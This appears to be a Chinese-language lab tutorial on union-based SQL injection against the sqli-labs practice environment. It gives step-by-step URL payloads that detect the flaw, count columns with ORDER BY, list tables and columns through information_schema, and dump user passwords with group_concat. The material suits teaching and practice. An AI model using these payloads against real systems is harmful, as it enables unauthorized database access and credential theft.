如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
其次你需要在网上下载sqllibs
另外在注入过程中:
-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格
首先介绍一下基础知识:
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
空格是%20,单引号是%27, 井号是%23,双引号是%22
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等
sql 注入的基本步骤:
(1) 判断是否存在注入,判断类型并且闭合语句
(2) Order by 判断字段数,
(3) 选择注入语句, union查询或者报错注入
(4) 获取数据库用户,版本,当前连接的数据库等信息
(5) 获取某个数据库表的信息获取列信息
(6) 最后就获取数据了
然后我们现在开始操作了!
输入id=1可以看到用户名和密码,说明是可访问的。
输一个id值,返回了name和password,接着测试是否能注入
输入id=',发现报错了,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是“SELECT * FROM table_name WHERE id='$_get['id']' LIMIT 0,1”这种,说明他没有过滤单引号,并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分“'LIMT 0,1;”多余出来了
构造url:直接在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了
发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号
输入d=1’ and 1=1--+ 访问正常,此时这里输入d=1 and 1=1是一样的,只是前者使用了注释符。由于and 1=1为真,所以页面应返回与id=1相同的结果,
输入d=1’ and 1=2--+或者d=1 and 1=2错误,所以该sql注入是基于字符型的注入,页面应返回与id=1不同结果
查询user表的字段数量,查询语句:id=1’ order by ()--+
这里后面之所以要用--+是因为这里我们的url在get方式提交的时候要进行一次url转码 所以我们要让转码后的字符为--+来闭合语句;()指你想要查询的数量,例如id=1’ order by 6--+表示查询第1个字段到第6个字段之间的数量,如果正确则有6个,甚至更多,往后面依次加1个慢慢试就可以了,如果错误,往前依次减1个就可以了。具体操作如下:
输入id=1’ order by 3--+,显示正确,
输入id=1’ order by 4--+,显示错误,如下图可以看到,查询不到第4个字段,所以只有3个字段
系统数据库information_schema来获取表名,information_schema数据库中含有很重要的三张表:SCHEMATA,TABLES和COLUMNS
SCHEMATA表中存储了MySQL中所有数据库的信息,包括数据库名,编码类型路径等,show databases的结果取之此表
TABLES表中存储了MySQL中所有数据库的表的信息(当然,索引是根据数据库名的),包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等,show tables from schemaname的结果取之此表
COLUMNS表中存储了MySQL中所有表的字段信息,show columns from schemaname.tablename的结果取之此表
在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面,将数据输出到页面上,由于是数据输出到页面上的,所以可以使用Union注入,且通过order by查询结果,由上面得到字段数为3,所以Union注入的语句如下所示:
输入id=1' union select 1,2,3--+,可以看到页面成功执行,但是没有返回union select的结果,这是由于代码只返回第一条结果。
可以设置参数id的值,让服务端返回union select的结果,例如我把id改为-1,这样数据库中就没有id=1的数据
由上图我们可以看到,返回union select的结果2和3,意味着在union select 1,2,3中,2和3的位置可以输入sql语句,我这里在2的位置查询当前数据库名(使用database()函数)。
输入id=-1’ union select1,database(),3--+如下图可看到页面成功返回数据库信息
以上得知我们的数据库库名(security)后,接下来查询库名下的表名
id=-1’ union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
这里的limit 0,1表示查询的数据库库名(security)第一个字段的表名
也可以查数据库库名(security)第二个字段的表名
id=-1’ union select 1,(select table_name from information_schema.tables where table_schema='security' limit 1,1),3--+
也可以查数据库库名(security)第四个字段的表名
id=-1’ union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3--+
现在表名查询完了,就是我们已经知道库名和表名了,接下来我这里做的是查询security 库名中users表中的第二个字段名,还是在2的位置输入语句,注意括号不能少,
输入id=-1’ union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name=’users’ limit 1,1),3--+
(这里我输入的是整个1,2,3)输出结果如下图所示。
这里也可以获取users表中的第三个字段名,id=-1’ union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name=’users’ limit 2,1),3--+
当获取了库名、表名和字段名时,就可以构造SQL语句查询数据库的数据,我这里查询字段uers对应的第三个字段(password)的第一个字段的内容
输入id=-1' union select 1,(select password from users limit 0,1 ),3--+
还可以在3处把版本加上
id=-1' union select 1,(select password from users limit 0,1 ),version()--+
爆users里的字段usename和password值
输入:id=-1’ union select 1,group_concat(usename),group_concat(password) from users--+
以上就是我们通过sql语句注入来实现查询数据库、数据库中的表、数据库中表的字段以及数据库中表的字段的内容。